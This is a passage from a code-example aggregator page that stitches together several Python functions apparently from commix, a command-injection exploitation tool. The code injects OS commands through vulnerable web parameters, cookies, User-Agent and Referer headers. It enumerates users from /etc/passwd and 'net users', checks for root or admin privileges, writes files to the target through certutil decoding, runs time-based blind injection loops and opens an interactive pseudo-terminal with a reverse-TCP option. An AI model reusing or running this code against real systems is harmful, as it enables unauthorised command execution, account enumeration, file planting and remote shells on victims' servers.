        settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
        if alter_shell:
            settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
        else:
            settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
    cmd = settings.SYS_USERS
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        sys_users = cb_injector.injection_results(response, TAG)
        sys_users = "".join(str(p) for p in sys_users)
        session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
    else:
        sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    # Windows users enumeration.
    if settings.TARGET_OS == "win":
        if menu.options.verbose:
            print ""
        sys.stdout.write(
            settings.INFO_SIGN +
            "Executing the 'net users' command to enumerate users entries... ")
        sys.stdout.flush()
        if sys_users[0]:
            sys_users = "".join(str(p) for p in sys_users).strip()
            sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL +
                             " ]")
            sys_users_list = re.findall(r"(.*)", sys_users)
            sys_users_list = "".join(str(p) for p in sys_users_list).strip()
            sys_users_list = ' '.join(sys_users_list.split())
            sys_users_list = sys_users_list.split()
            sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                             str(len(sys_users_list)) + " entr" +
                             ('ies', 'y')[len(sys_users_list) == 1] +
                             " via 'net users' command.\n" + Style.RESET_ALL)
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("\n    (!) Identified " +
                              str(len(sys_users_list)) + " entr" +
                              ('ies', 'y')[len(sys_users_list) == 1] +
                              " in via 'net users' command.\n")
            output_file.close()
            count = 0
            for user in range(0, len(sys_users_list)):
                count = count + 1
                if menu.options.privileges:
                    cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
                        user] + ")[22..($(net user " + sys_users_list[
                            user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
                    if alter_shell:
                        cmd = cmd.replace("'", "\\'")
                    else:
                        cmd = "\"" + cmd + "\""
                    response = cb_injector.injection(separator, TAG, cmd,
                                                     prefix, suffix,
                                                     whitespace,
                                                     http_request_method, url,
                                                     vuln_parameter,
                                                     alter_shell, filename)
                    check_privs = cb_injector.injection_results(response, TAG)
                    check_privs = "".join(str(p) for p in check_privs).strip()
                    check_privs = re.findall(r"(.*)", check_privs)
                    check_privs = "".join(str(p) for p in check_privs).strip()
                    check_privs = check_privs.split()
                    if "Admin" in check_privs[0]:
                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
                        is_privileged_nh = " is admin user "
                    else:
                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
                        is_privileged_nh = " is regular user "
                    if menu.options.verbose:
                        print ""
                else:
                    is_privileged = ""
                    is_privileged_nh = ""
                print "  (" + str(
                    count
                ) + ") '" + Style.BRIGHT + Style.UNDERLINE + sys_users_list[
                    user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "."
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write("      (" + str(count) + ") " +
                                  sys_users_list[user] + is_privileged + ".\n")
                output_file.close()
        else:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            sys.stdout.flush()
            print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to enumerate users entries." + Style.RESET_ALL
    # Unix-like users enumeration.
    else:
        if menu.options.verbose:
            print ""
        sys.stdout.write(settings.INFO_SIGN + "Fetching '" +
                         settings.PASSWD_FILE +
                         "' to enumerate users entries... ")
        sys.stdout.flush()
        if sys_users[0]:
            sys_users = "".join(str(p) for p in sys_users).strip()
            if len(sys_users.split(" ")) <= 1:
                sys_users = sys_users.split("\n")
            else:
                sys_users = sys_users.split(" ")
            # Check for appropriate '/etc/passwd' format.
            if len(sys_users) % 3 != 0:
                sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                                 " ]")
                sys.stdout.flush()
                print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
                sys_users = " ".join(str(p) for p in sys_users).strip()
                print sys_users
                output_file = open(filename, "a")
                output_file.write("      " + sys_users)
                output_file.close()
            else:
                sys_users_list = []
                for user in range(0, len(sys_users), 3):
                    sys_users_list.append(sys_users[user:user + 3])
                if len(sys_users_list) != 0:
                    sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
                                     Style.RESET_ALL + " ]")
                    sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                                     str(len(sys_users_list)) + " entr" +
                                     ('ies', 'y')[len(sys_users_list) == 1] +
                                     " in '" + settings.PASSWD_FILE + "'.\n" +
                                     Style.RESET_ALL)
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write("\n    (!) Identified " +
                                      str(len(sys_users_list)) + " entr" +
                                      ('ies', 'y')[len(sys_users_list) == 1] +
                                      " in '" + settings.PASSWD_FILE + "'.\n")
                    output_file.close()
                    count = 0
                    for user in range(0, len(sys_users_list)):
                        sys_users = sys_users_list[user]
                        sys_users = ":".join(str(p) for p in sys_users)
                        count = count + 1
                        fields = sys_users.split(":")
                        fields1 = "".join(str(p) for p in fields)
                        # System users privileges enumeration
                        try:
                            if not fields[2].startswith("/"):
                                raise ValueError()
                            if menu.options.privileges:
                                if int(fields[1]) == 0:
                                    is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
                                    is_privileged_nh = " is root user "
                                elif int(fields[1]) > 0 and int(
                                        fields[1]) < 99:
                                    is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
                                    is_privileged_nh = " is system user "
                                elif int(fields[1]) >= 99 and int(
                                        fields[1]) < 65534:
                                    if int(fields[1]) == 99 or int(
                                            fields[1]) == 60001 or int(
                                                fields[1]) == 65534:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
                                        is_privileged_nh = " is anonymous user "
                                    elif int(fields[1]) == 60002:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
                                        is_privileged_nh = " is non-trusted user "
                                    else:
                                        is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
                                        is_privileged_nh = " is regular user "
                                else:
                                    is_privileged = ""
                                    is_privileged_nh = ""
                            else:
                                is_privileged = ""
                                is_privileged_nh = ""
                            print "  (" + str(
                                count
                            ) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
                                0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[
                                    1] + "). Home directory is in '" + Style.BRIGHT + fields[
                                        2] + Style.RESET_ALL + "'."
                            # Add infos to logs file.
                            output_file = open(filename, "a")
                            output_file.write("      (" + str(count) + ") '" +
                                              fields[0] + "'" +
                                              is_privileged_nh + "(uid=" +
                                              fields[1] +
                                              "). Home directory is in '" +
                                              fields[2] + "'.\n")
                            output_file.close()
                        except ValueError:
                            if count == 1:
                                print Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.PASSWD_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL
                            sys_users = " ".join(
                                str(p) for p in sys_users.split(":"))
                            print sys_users
                            output_file = open(filename, "a")
                            output_file.write("      " + sys_users)
                            output_file.close()
        else:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            sys.stdout.flush()
            print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.PASSWD_FILE + "' to enumerate users entries." + Style.RESET_ALL
Ejemplo n.º 54
0
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
               timesec, http_request_method, url, vuln_parameter,
               OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
    _ = True
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
        warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
        sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
        sys.stdout.flush()
        raise SystemExit()
    if os.path.isfile(file_to_write):
        with open(file_to_write, 'r') as content_file:
            content = [
                line.replace("\r\n", "\n").replace("\r",
                                                   "\n").replace("\n", " ")
                for line in content_file
            ]
        content = "".join(str(p) for p in content).replace("'", "\"")
        if settings.TARGET_OS == "win":
            import base64
            content = base64.b64encode(content)
    else:
        warn_msg = "It seems that '" + file_to_write + "' is not a file."
        sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
        sys.stdout.flush()
    if os.path.split(menu.options.file_dest)[1] == "":
        dest_to_write = os.path.split(
            menu.options.file_dest)[0] + "/" + os.path.split(
                menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_write = "/" + os.path.split(
            menu.options.file_dest)[1] + "/" + os.path.split(
                menu.options.file_write)[1]
    else:
        dest_to_write = menu.options.file_dest
    # Execute command
    if settings.TARGET_OS == "win":
        from src.core.injections.results_based.techniques.classic import cb_injector
        whitespace = settings.WHITESPACE[0]
        dest_to_write = dest_to_write.replace("\\", "/")
        # Find path
        path = os.path.dirname(dest_to_write)
        path = path.replace("/", "\\")
        # Change directory
        cmd = "cd " + path
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Find filename
        filname = os.path.basename(dest_to_write)
        tmp_filname = "tmp_" + filname
        cmd = settings.FILE_WRITE + content + ">" + tmp_filname
        if not menu.options.alter_shell:
            cmd = "\"" + cmd + "\""
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Decode base 64 encoding
        cmd = "certutil -decode " + tmp_filname + " " + filname
        if not menu.options.alter_shell:
            cmd = "\"" + cmd + "\""
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        cb_injector.injection_results(response, TAG, cmd)
        # Delete tmp file
        cmd = "del " + tmp_filname
        if not menu.options.alter_shell:
            cmd = "\"" + cmd + "\""
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        cb_injector.injection_results(response, TAG, cmd)
        # Check if file exists
        cmd = "if exist " + filname + " (echo " + filname + ")"
        if not menu.options.alter_shell:
            cmd = "'" + cmd + "'"
        dest_to_write = path + "\\" + filname
    else:
        cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
        check_how_long, output = tfb_injector.injection(
            separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
            http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
            alter_shell, filename, url_time_response)
        shell = output
        shell = "".join(str(p) for p in shell)
        # Check if file exists
        cmd = "echo $(ls " + dest_to_write + ")"
    print("")
    check_how_long, output = tfb_injector.injection(
        separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
        http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
        filename, url_time_response)
    shell = output
    try:
        shell = "".join(str(p) for p in shell)
    except TypeError:
        pass
    if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
        print("")
    if shell:
        success_msg = "The '" + shell + Style.RESET_ALL
        success_msg += Style.BRIGHT + "' file was created successfully!\n"
        sys.stdout.write("\n" + settings.print_success_msg(success_msg))
        sys.stdout.flush()
    else:
        warn_msg = "It seems that you don't have permissions to "
        warn_msg += "write the '" + dest_to_upload + "' file."
        sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
Ejemplo n.º 55
0
def file_write(
    separator,
    maxlen,
    TAG,
    cmd,
    prefix,
    suffix,
    delay,
    http_request_method,
    url,
    vuln_parameter,
    alter_shell,
    filename,
    url_time_response,
):
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
        sys.stdout.write(
            Fore.YELLOW
            + "(^) Warning: It seems that the '"
            + file_to_write
            + "' file, does not exists."
            + Style.RESET_ALL
            + "\n"
        )
        sys.stdout.flush()
        sys.exit(0)

    if os.path.isfile(file_to_write):
        with open(file_to_write, "r") as content_file:
            content = [line.replace("\n", " ") for line in content_file]
        content = "".join(str(p) for p in content).replace("'", '"')
        if settings.TARGET_OS == "win":
            import base64

            content = base64.b64encode(content)
    else:
        sys.stdout.write(
            Fore.YELLOW + "(^) Warning: It seems that '" + file_to_write + "' is not a file." + Style.RESET_ALL + "\n"
        )
        sys.stdout.flush()

    if os.path.split(menu.options.file_dest)[1] == "":
        dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
    else:
        dest_to_write = menu.options.file_dest

    # Execute command
    if settings.TARGET_OS == "win":
        from src.core.injections.results_based.techniques.classic import cb_injector

        whitespace = settings.WHITESPACES[0]
        dest_to_write = dest_to_write.replace("\\", "/")
        # Find path
        path = os.path.dirname(dest_to_write)
        path = path.replace("/", "\\")
        # Chnage directory
        cmd = "cd " + path
        response = cb_injector.injection(
            separator,
            TAG,
            cmd,
            prefix,
            suffix,
            whitespace,
            http_request_method,
            url,
            vuln_parameter,
            alter_shell,
            filename,
        )
        # Find filename
        filname = os.path.basename(dest_to_write)
        tmp_filname = "tmp_" + filname
        cmd = settings.FILE_WRITE + content + " > " + tmp_filname
        if not menu.options.alter_shell:
            cmd = '"' + cmd + '"'
        response = cb_injector.injection(
            separator,
            TAG,
            cmd,
            prefix,
            suffix,
            whitespace,
            http_request_method,
            url,
            vuln_parameter,
            alter_shell,
            filename,
        )
        # Decode base 64 encoding
        cmd = "certutil -decode " + tmp_filname + " " + filname
        if not menu.options.alter_shell:
            cmd = '"' + cmd + '"'
        response = cb_injector.injection(
            separator,
            TAG,
            cmd,
            prefix,
            suffix,
            whitespace,
            http_request_method,
            url,
            vuln_parameter,
            alter_shell,
            filename,
        )
        cb_injector.injection_results(response, TAG)
        # Delete tmp file
        cmd = "del " + tmp_filname
        if not menu.options.alter_shell:
            cmd = '"' + cmd + '"'
        response = cb_injector.injection(
            separator,
            TAG,
            cmd,
            prefix,
            suffix,
            whitespace,
            http_request_method,
            url,
            vuln_parameter,
            alter_shell,
            filename,
        )
        cb_injector.injection_results(response, TAG)
        # Check if file exists
        cmd = "if exist " + filname + " (echo " + filname + ")"
        if not menu.options.alter_shell:
            cmd = "'" + cmd + "'"
        dest_to_write = path + "\\" + filname

    else:
        cmd = (
            settings.FILE_WRITE
            + "'"
            + content
            + "'"
            + " > "
            + "'"
            + dest_to_write
            + "'"
            + separator
            + settings.FILE_READ
            + dest_to_write
        )
        check_how_long, output = tb_injector.injection(
            separator,
            maxlen,
            TAG,
            cmd,
            prefix,
            suffix,
            delay,
            http_request_method,
            url,
            vuln_parameter,
            alter_shell,
            filename,
            url_time_response,
        )
        shell = output
        shell = "".join(str(p) for p in shell)
        # Check if file exists
        cmd = "echo $(ls " + dest_to_write + ")"

    # Check if defined cookie injection.
    if menu.options.verbose:
        print ""
    check_how_long, output = tb_injector.injection(
        separator,
        maxlen,
        TAG,
        cmd,
        prefix,
        suffix,
        delay,
        http_request_method,
        url,
        vuln_parameter,
        alter_shell,
        filename,
        url_time_response,
    )
    shell = output
    try:
        shell = "".join(str(p) for p in shell)
    except TypeError:
        pass
    if menu.options.verbose:
        print ""
    if shell:
        sys.stdout.write(
            Style.BRIGHT
            + "\n\n  (!) The '"
            + Style.UNDERLINE
            + shell
            + Style.RESET_ALL
            + Style.BRIGHT
            + "' file was created successfully!\n"
            + Style.RESET_ALL
        )
        sys.stdout.flush()
    else:
        sys.stdout.write(
            Fore.YELLOW
            + "\n(^) Warning: It seems that you don't have permissions to write the '"
            + dest_to_write
            + "' file."
            + Style.RESET_ALL
            + "\n"
        )
        sys.stdout.flush()
Ejemplo n.º 56
0
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  percent = 0
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  export_injection_info = False
  how_long = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
  
  percent = str(percent)+"%"
  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
  sys.stdout.flush()

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1

        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""
        
        # Define alter shell
        alter_shell = menu.options.alter_shell
        
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:

            # Log previous 'how_long' for later comparison
            previous_how_long = how_long

            if alter_shell:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
            else:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = base64.b64encode(payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
            
            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""

            else:
              if how_long == previous_how_long + delay:
                # Time relative false positive fixation.
                if len(TAG) == output_length:
                  tmp_how_long = how_long
                  randv1 = random.randrange(0, 1)
                  randv2 = random.randrange(1, 2)
                  randvcalc = randv1 + randv2
                  cmd = "(" + str(randv1) + "+" + str(randv2) + ")"

                  # Check for false positive resutls
                  how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long)
                  
                  if str(tmp_how_long) == str(how_long) and \
                     str(output) == str(randvcalc) and \
                     len(TAG) == output_length:

                    is_vulnerable = True
                    if not menu.options.verbose:
                      percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                    else:
                      percent = ""
                  else:
                    break
                # False positive
                else:
                  continue
              else:
                percent = str(float_percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()

          except KeyboardInterrupt: 
            raise

          except SystemExit:
            raise

          except:
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if how_long == previous_how_long + delay:
            if (len(TAG) == output_length) and (is_vulnerable == True):
              found = True
              no_result = False
              is_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " Cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " HTTP header"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"
                
              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
              
              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL

              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True:
                while True:
                  enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
                  if enumerate_again in settings.CHOISE_YES:
                    tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif enumerate_again in settings.CHOISE_NO: 
                    break
                  elif enumerate_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if enumerate_again == "":
                      enumerate_again = "enter"
                    print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True:
                while True:
                  file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
                  if file_access_again in settings.CHOISE_YES:
                    tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif file_access_again in settings.CHOISE_NO: 
                    break
                  elif file_access_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if file_access_again == "":
                      file_access_again = "enter"
                    print Back.RED + "(x) Error: '" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)

              # Check if defined single cmd.
              if menu.options.os_cmd:
                cmd = menu.options.os_cmd
                check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                # Exploirt injection result
                tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                sys.exit(0)

              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break
                gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
                if gotshell in settings.CHOISE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  while True:
                    try:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                        if os_shell_option == False:
                          if no_result == True:
                            return False
                          else:
                            return True
                        elif os_shell_option == "quit":                    
                          sys.exit(0)
                        elif os_shell_option == "back":
                          go_back = True
                          break
                        elif os_shell_option == "os_shell": 
                            print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                        elif os_shell_option == "reverse_tcp":
                          # Set up LHOST / LPORT for The reverse TCP connection.
                          lhost, lport = reverse_tcp.configure_reverse_tcp()
                          while True:
                            if lhost and lport in settings.SHELL_OPTIONS:
                              result = checks.check_reverse_tcp_options(lhost)
                            else:  
                              cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
                              result = checks.check_reverse_tcp_options(cmd)
                            if result != None:
                              if result == 0:
                                return False
                              elif result == 1 or result == 2:
                                go_back_again = True
                                break
                            # Command execution results.
                            from src.core.injections.results_based.techniques.classic import cb_injector
                            whitespace = settings.WHITESPACES[0]
                            response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            # Evaluate injection results.
                            shell = cb_injector.injection_results(response, TAG)
                            # Exploirt injection result
                            if menu.options.verbose:
                              print ""
                            print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                        else:
                          pass
                        
                      else:
                        print ""
                        # The main command injection exploitation.
                        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                        # Exploirt injection result
                        tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        print ""
                    except KeyboardInterrupt: 
                      raise

                    except SystemExit: 
                      raise
                      
                elif gotshell in settings.CHOISE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  
                      
                elif gotshell in settings.CHOISE_QUIT:
                  sys.exit(0)

                else:
                  if gotshell == "":
                    gotshell = "enter"
                  print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                  pass
            
            break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Ejemplo n.º 57
0
def current_user(separator, TAG, prefix, suffix, whitespace,
                 http_request_method, url, vuln_parameter, alter_shell,
                 filename, timesec):
    if settings.TARGET_OS == "win":
        settings.CURRENT_USER = settings.WIN_CURRENT_USER
    cmd = settings.CURRENT_USER
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        cu_account = cb_injector.injection_results(response, TAG, cmd)
        cu_account = "".join(str(p) for p in cu_account)
        session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
    else:
        cu_account = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    if cu_account:
        cu_account = "".join(str(p) for p in cu_account)
        # Check if the user have super privileges.
        if menu.options.is_root or menu.options.is_admin:
            if settings.TARGET_OS == "win":
                cmd = settings.IS_ADMIN
            else:
                cmd = settings.IS_ROOT
                if settings.USE_BACKTICKS:
                    cmd = cmd.replace("echo $(", "").replace(")", "")
            if session_handler.export_stored_cmd(
                    url, cmd,
                    vuln_parameter) == None or menu.options.ignore_session:
                # Command execution results.
                response = cb_injector.injection(separator, TAG, cmd, prefix,
                                                 suffix, whitespace,
                                                 http_request_method, url,
                                                 vuln_parameter, alter_shell,
                                                 filename)
                # Perform target page reload (if it is required).
                if settings.URL_RELOAD:
                    response = requests.url_reload(url, timesec)
                # Evaluate injection results.
                shell = cb_injector.injection_results(response, TAG, cmd)
                shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
                session_handler.store_cmd(url, cmd, shell, vuln_parameter)
            else:
                shell = session_handler.export_stored_cmd(
                    url, cmd, vuln_parameter)
            info_msg = "The current user is " + str(cu_account)
            sys.stdout.write(settings.print_bold_info_msg(info_msg))
            # Add infos to logs file.
            output_file = open(filename, "a")
            info_msg = "The current user is " + cu_account
            output_file.write(
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.INFO_BOLD_SIGN) + info_msg)
            output_file.close()
            if shell:
                if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
                   (settings.TARGET_OS != "win" and shell != "0"):
                    sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     " privileged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
